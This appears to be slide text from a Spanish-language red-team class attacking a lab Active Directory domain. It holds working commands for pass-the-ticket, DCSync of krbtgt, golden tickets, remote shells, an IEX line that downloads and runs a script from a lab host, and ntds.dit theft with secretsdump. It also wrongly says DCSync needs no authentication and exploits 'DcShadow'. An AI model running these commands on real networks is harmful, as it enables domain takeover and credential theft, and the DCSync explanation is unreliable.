
Day Nine: Muddy road

“PWN LIKE A MDFK ft. 
RED TEAM VIEW”



BLEACH.local : SOME ABOUT THIS 
GUID (Identificador Único Global): Un GUID es un valor alfanumérico de 128 bits que se utiliza para 
identificar de manera única elementos en el sistema operativo. Los GUID se generan de forma aleatoria 
y se utilizan para identificar objetos como archivos, registros del sistema, componentes de software, 
entre otros. En Windows, los GUID se utilizan ampliamente para asegurar que los identificadores sean 
únicos en todo el sistema.

SUID (Identificador de Usuario Establecido): El SUID es un mecanismo utilizado en sistemas Unix y 
Linux para permitir que los programas se ejecuten con los privilegios del propietario del archivo, en 
lugar de los privilegios del usuario que los ejecuta. Sin embargo, en Windows, este concepto no 
existe de forma directa. Windows utiliza un modelo de seguridad basado en permisos y grupos de 
usuarios para controlar el acceso a los recursos del sistema.

SID (Identificador de Seguridad): El SID es un identificador único que se asigna a cada cuenta de 
usuario, grupo de usuarios y otros objetos de seguridad en un dominio de Windows. Los SID se utilizan 
para identificar de manera exclusiva a los usuarios y grupos en un entorno de Directorio Activo de 
Windows. Cada vez que se crea una cuenta de usuario o grupo en un dominio de Windows, se le asigna un 
SID único. Los SIDs se utilizan en la asignación de permisos y en la administración de la seguridad 
en Windows.



BLEACH.local : SOME ABOUT THIS 
● Domain Admins: Es un grupo que tiene los máximos privilegios en un dominio de Active Directory. Los miembros de 

este grupo tienen control total sobre el dominio y pueden realizar tareas de administración, como crear y eliminar 
cuentas de usuario, modificar configuraciones del dominio, administrar políticas de grupo, entre otras.

● Domain Users: Es un grupo predeterminado que contiene a todos los usuarios normales del dominio. Los miembros 
de este grupo tienen permisos limitados y pueden acceder a recursos compartidos y realizar acciones básicas en el 
dominio.

● Schema Admins: Este grupo tiene privilegios para realizar modificaciones en el esquema de Active Directory. El 
esquema define la estructura y los objetos que se pueden almacenar en el directorio. Los miembros de este grupo 
pueden realizar cambios en la estructura del esquema, como agregar o eliminar atributos y clases.

● Enterprise Admins: Es un grupo que tiene privilegios a nivel de toda la empresa o forest en Active Directory. Los 
miembros de este grupo tienen control total sobre todos los dominios en el entorno de Active Directory, incluidos los 
dominios hijos. Tienen los mismos privilegios que los Domain Admins, pero a nivel de toda la empresa.

● GPC Owners (Group Policy Creator Owners): Este grupo tiene privilegios para crear y administrar políticas de grupo 
en un dominio. Los miembros de este grupo pueden crear nuevas políticas de grupo y modificar las existentes. Este 
grupo se utiliza para delegar la administración de políticas de grupo a usuarios específicos sin darles los máximos 
privilegios del grupo Domain Admins.



BLEACH.local : SOME ABOUT THIS 

https://github.com/S3cur3Th1sSh1t/PowerSharpPac
k/tree/master/PowerSharpBinaries 

https://www.infosecmatter.com/empire-module-library/?mod=
powershell/credentials/rubeus 

https://github.com/gentilkiwi/kekeo 
https://github.com/tomcarver16/ADSearch 

https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries
https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries
https://www.infosecmatter.com/empire-module-library/?mod=powershell/credentials/rubeus
https://www.infosecmatter.com/empire-module-library/?mod=powershell/credentials/rubeus
https://github.com/gentilkiwi/kekeo
https://github.com/tomcarver16/ADSearch


BLEACH.local : SOME ABOUT THIS 
C:/user/jquerito> KLIST.exe

C:/user/jquerito> KLIST.exe purge



BLEACH.local : IS NOT PTH BUT… 

.\R.exe asktgt /user:<user> /domain:BLEACH.local /rc4:<hash>



BLEACH.local : EXPLOITING TICKETS (RUBEUS)

.\Rubeus.exe ptt /ticket:<base64>||<kirbi>



BLEACH.local : EXPLOITING TICKETS (RUBEUS)

El servicio CIFS (Common Internet File System) es un protocolo de red que permite a 
los sistemas operativos Windows acceder y compartir archivos en una red. CIFS se 
basa en el protocolo SMB (Server Message Block) y se utiliza ampliamente para 
compartir archivos e impresoras en entornos de red Windows.

El servicio LDAP (Lightweight Directory Access Protocol) es un protocolo de acceso y 

búsqueda de directorios utilizado para interactuar con sistemas de directorios, como 

Active Directory. LDAP permite consultar y modificar información almacenada en un 

directorio de forma estándar y eficiente.



BLEACH.local : EXPLOITING TICKETS (RUBEUS)

.\R.exe asktgs /user:Administrador /ticket:<b64-ticket> 
/service:cifs/PRINCIPAL-BLEACH.BLEACH.local



BLEACH.local : EXPLOITING TICKETS (RUBEUS)

https://lzone.de/cheat-sheet
/kerberos 

https://lzone.de/cheat-sheet/kerberos
https://lzone.de/cheat-sheet/kerberos


BLEACH.local : EXPLOITING TICKETS (RUBEUS)

https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29
f3cb5c5c4a 

https://cheatsheet.haax.fr/windows-systems/exploitation/kerberos/ 

https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a
https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a
https://cheatsheet.haax.fr/windows-systems/exploitation/kerberos/


BLEACH.local : EXPLOITING TICKETS 
(IMPACKET)

┌──(kali㉿kali)-[~/Documents]
└─$ impacket-getTGT BLEACH.local/Administrador -dc-ip 10.0.9.4 -hashes 
:fc19a68b44372b3bcf0297e08a28fda8
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Saving ticket in Administrador.ccache
                                                                                                                                                                            



BLEACH.local : EXPLOITING TICKETS 
(IMPACKET)

┌──(kali㉿kali)-[~/Documents]
└─$ impacket-getTGT BLEACH.local/Administrador -dc-ip 10.0.9.4 -hashes 
:fc19a68b44372b3bcf0297e08a28fda8
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Saving ticket in Administrador.ccache
                                                                                                                                                                            
┌──(kali㉿kali)-[~/Documents]
└─$ export KRB5CCNAME=Administrador.ccache (!)                                                              
                                                                                                                                                                            



BLEACH.local : EXPLOITING TICKETS 
(IMPACKET)

┌──(kali㉿kali)-[~/Documents]
└─$ impacket-getTGT BLEACH.local/Administrador -dc-ip 10.0.9.4 -hashes 
:fc19a68b44372b3bcf0297e08a28fda8
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Saving ticket in Administrador.ccache
                                                                                                                                                                            
┌──(kali㉿kali)-[~/Documents]
└─$ export KRB5CCNAME=Administrador.ccache (!)                                                              
                                                                                                                                                                            
┌──(kali㉿kali)-[~/Documents]
└─$ impacket-psexec -k -no-pass @PRINCIPAL-BLEACH.BLEACH.local
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation



BLEACH.local : EXPLOITING TICKETS 
(IMPACKET)

La variable de entorno 

KRB5CCNAME en Linux se 

utiliza para especificar la 

ubicación del archivo de 

caché de tickets Kerberos. 

Cuando se utiliza la 

herramienta Impacket en 

combinación con Kerberos, 

la variable de entorno 

KRB5CCNAME se utiliza para 

especificar la ubicación 

del archivo de caché de 

tickets Kerberos que debe 

ser utilizado por Impacket 

para la autenticación.



BLEACH.local : SERVICES 4 THE WIN
En Active Directory, LDAP desempeña 

un papel fundamental. Active 

Directory es una implementación del 

servicio de directorio de Microsoft y 

utiliza LDAP como su protocolo de 

acceso principal. LDAP se utiliza 

para realizar consultas y búsquedas 

en el directorio de Active Directory, 

que contiene información sobre 

usuarios, grupos, recursos y otras 

entidades del dominio.



BLEACH.local : SERVICES 4 THE WIN
En Active Directory, LDAP desempeña 
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Directory es una implementación del 

servicio de directorio de Microsoft y 
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BLEACH.local : DC-SYNC
Un DCSync es una técnica utilizada en hacking ético para obtener información de la 

base de datos de Active Directory (ntds) sin necesidad de autenticación. Esta técnica 

explota una vulnerabilidad de privilegio llamada "DcShadow". Cuando se ejecuta un 

DCSync, se solicita al controlador de dominio que replique los datos de una cuenta 

específica, como un objeto de usuario con privilegios elevados, sin autenticación.



BLEACH.local : DC-SYNC
Un DCSync es una técnica utilizada en hacking ético para obtener información de la 

base de datos de Active Directory (ntds) sin necesidad de autenticación. Esta técnica 

explota una vulnerabilidad de privilegio llamada "DcShadow". Cuando se ejecuta un 

DCSync, se solicita al controlador de dominio que replique los datos de una cuenta 

específica, como un objeto de usuario con privilegios elevados, sin autenticación.

En relación con LDAP, el DCSync requiere acceso de lectura al 

directorio de Active Directory a través de LDAP para obtener la 

información solicitada. El atacante puede enviar una solicitud 

LDAP al controlador de dominio utilizando el DCSync, solicitando 

la replicación de los datos de una cuenta específica. Si el 

atacante tiene los permisos adecuados y puede explotar con éxito 

la vulnerabilidad DcShadow, el controlador de dominio replicará 

los datos solicitados y los entregará al atacante.



BLEACH.local : DC-SYNC
mimikatz# 
lsadump::dcsync 
/domain:BLEACH.local 
/user:krbtgt



BLEACH.local : GOLDEN IT!

kerberos::golden /domain:BLEACH.local 
/sid:S-1-5-21-3777977817-1859332824-490154379 
/rc4:0a6d458c0c48da059c4992b37d77a3ac /user:Administrador 
/id:500 /groups:500,501,513,512,520,518,519 /ticket:gold.kirbi



BLEACH.local : GOLDEN IT!

.\R.exe asktgs /user:Administrador /ticket:gold.kirbi 
/service:ldap/PRINCIPAL-BLEACH.BLEACH.local /ptt



BLEACH.local : GOLDEN IT!

https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/ 

https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/


BLEACH.local : GOLDEN IT!

https://pentestlab.blog/tag/rubeus/ 

https://pentestlab.blog/tag/rubeus/


BLEACH.local : GOLDEN IT!



BLEACH.local : Stealing ntds
El archivo ntds.dit es un archivo de base de datos utilizado por el servicio de directorio de 
Active Directory en los controladores de dominio de Windows. Contiene la información de los 
objetos del dominio, como usuarios, grupos, equipos y otros elementos del directorio. Es esencial 
para el funcionamiento de Active Directory.

El archivo ntds.dit es un archivo de base de datos exclusivo y crítico que se encuentra en el 
controlador de dominio principal (PDC) del dominio. No se puede realizar una copia directa de este 
archivo mientras el controlador de dominio está en ejecución, incluso si se es administrador del 
dominio.

Esto se debe a que el archivo ntds.dit está bloqueado por el sistema operativo y es accesible 
únicamente para el servicio de directorio de Active Directory en modo exclusivo. Como medida de 
seguridad, Windows protege el archivo ntds.dit para evitar que se realicen copias no autorizadas o 
modificaciones incorrectas que puedan comprometer la integridad y seguridad del directorio.

Si es necesario realizar copias de seguridad del archivo ntds.dit, se recomienda utilizar métodos 
y herramientas específicas, como las utilidades de copia de seguridad de Active Directory, que 
permiten realizar copias de seguridad del directorio de forma consistente y segura, sin afectar la 
operación normal del servicio de directorio.

Es importante destacar que la manipulación o copia incorrecta del archivo ntds.dit puede tener 
consecuencias graves en la integridad y funcionalidad de Active Directory, por lo que se 
recomienda tomar precauciones adecuadas y seguir las prácticas recomendadas para la gestión de 
directorios en entornos de Windows.



BLEACH.local : Stealing ntds

C:\users\jquerito> powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"

                                                                                                                                                         

┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec -k -no-pass 
@PRINCIPAL-BLEACH.BLEACH.local -codec 
utf-8
Impacket v0.9.24 - Copyright 2021 
SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - 
Careful what you execute
[!] Press help for extra shell 
commands
C:\>



BLEACH.local : Stealing ntds
┌──(kali㉿kali)-[~/Documents]
└─$ impacket-psexec -k -no-pass @PRINCIPAL-BLEACH.BLEACH.local
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation                                                                                                                                                    



BLEACH.local : Stealing ntds
┌──(kali㉿kali)-[~/Documents]
└─$ impacket-psexec -k -no-pass @PRINCIPAL-BLEACH.BLEACH.local
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation                                                                                                                                                    

┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec -k -no-pass @PRINCIPAL-BLEACH.BLEACH.local -codec utf-8
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\> ...  



BLEACH.local : Stealing ntds
┌──(kali㉿kali)-[~/Documents]
└─$ impacket-psexec -k -no-pass @PRINCIPAL-BLEACH.BLEACH.local
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation                                                                                                                                                    

┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec -k -no-pass @PRINCIPAL-BLEACH.BLEACH.local -codec utf-8
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\> ...  

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i @PRINCIPAL-BLEACH.BLEACH.local -r BLEACH.local
…

*Evil-WinRM* PS C:\Users\Administrador\Documents>



BLEACH.local : Stealing ntds

Se cre� correctamente una instant�nea para 'C:\'
Id. de instant�nea: {3aceafe3-6ebc-4515-b119-f68e223cf0a2}
Nombre de volumen de instant�neas: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2

https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration 

https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration


BLEACH.local : Stealing ntds
C:\temp>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows\ntds\ntds.dit
El sistema no puede encontrar la ruta especificada.
C:\temp>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit
    1 archivo(s) copiado(s).
C:\temp>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\system32\config\SYSTEM
    1 archivo(s) copiado(s).
C:\temp>reg SAVE HKLM\SYSTEM c:\SYS

https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration 

https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration


BLEACH.local : Stealing ntds

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1 

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1


BLEACH.local : Stealing ntds

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1 

┌──(kali㉿kali)-[~]
└─$ export 
KRB5CCNAME=Administrador.ccac
he

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i 
@PRINCIPAL-BLEACH.BLEACH.loca
l -r BLEACH.local

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1


BLEACH.local : Stealing ntds

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1 

*Evil-WinRM* PS 
C:\Users\Administrador\Documents> IEX 
(New-Object 
Net.WebClient).DownloadString('http://10.0
.9.7:8001/invoke-copy.ps1');

*Evil-WinRM* PS 
C:\Users\Administrador\Documents>  
Invoke-NinjaCopy -path 
C:\Windows\NTDS\ntds.dit -verbose 
-localdestination 
C:\Users\Administrador\Documents\ntdsBP.di
t

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1


BLEACH.local : Stealing ntds

https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration 

https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration


BLEACH.local : Stealing ntds

https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration 

┌──(kali㉿kali)-[~/Documents/cosas/ntds_cosas]
└─$ sudo impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration


BLEACH.local : HOMEWRK. 

-

DEFENDER HERE 👇
> PASS THE HASH (Encrypted mimikatz)

> GET BLEACH.local\JQUERITO NT HASH
> GET “Juan Querito” NTLM HASH
> GET BLEACH.local\ADMINISTRADOR NT HASH
> GET PRINCIPAL-BLEACH SAM (CrackmapExec)

☝
> ¡NO GRAFICAL ACCESS! < 
> ¡ONLY REVERSE SHELL! <

> RUN BLOODHOUND SCAN W/ JQUERITO (BloodHound)
> BUILD A GOLDEN TICKET. 

> ACCESS TO PRINCIPAL-BLEACH W/ jquerito
> ACCESS TO PRINCIPAL-BLEACH from KALI 
(IMPACKET)

> DUMP PRINCIPAL-BLEACH TICKETS

 
 

https://emojiterra.com/es/indice-hacia-abajo/
https://emojipedia.org/es/dedo-%C3%ADndice-hacia-arriba/

